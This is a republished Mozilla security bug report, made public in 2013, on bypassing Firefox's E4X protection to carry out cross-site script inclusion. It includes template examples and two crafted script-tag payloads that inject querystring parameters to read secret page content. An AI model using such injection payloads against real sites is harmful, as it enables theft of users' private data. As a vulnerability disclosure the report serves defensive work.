XSSI - Bypass of E4X Security Protections
Originally disclosed on Mozilla
- Fixed in 8 months
- Paid in 10 months
- Disclosed after 8 months
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4
Steps to reproduce:
For security purposes FireFox does not allow E4X to constitute an entire script. This is necessary to mitigate the risk of cross site script inclusion attacks. The error message returned by the browser is:
"SyntaxError: XML can't be the whole program"
There is a simple method to bypass this protection. Consider the following page template:
<b>Some other html and stuff</b>
{{param1}}<p>This is supposed to be secret!</p>{{param2}}
<i>More html after</i>
Where the server replaces locations {{param1}} and {{param2}} with the querystring parameters param1 and param2.
An attacker wishing to steal the data between {{param1}} and {{param2}} can include something like the following as a script in a page he controls (obviously replacing the alert function with something else):
<script src="http://192.168.1.135:8000/?param1=alert('¶m2=');"></script>
A more interesting (and realistic example) is the following template:
<b>Some other html and stuff</b>
{{param1}}
<p>This is supposed to be secret!</p>
<b>so is this</b>{{param2}}
<i>More html after</i>
Here an attacker needs a slightly more complex injection (note the CDATA section wrapped in <r> tags):
<script src="http://192.168.2.2:8000/?param1=var%20a%20%3d%20(<r><![CDATA[xxx¶m2=yyyThis%20line%20is%20the%20second%20injection point]]></r>).toString()%3balert(a)%3b"></script>
I have working PoC in the form of a Django web application that uses the example above.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity security bug in JavaScript Engine. Mozilla made it public on 12 June 2013.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.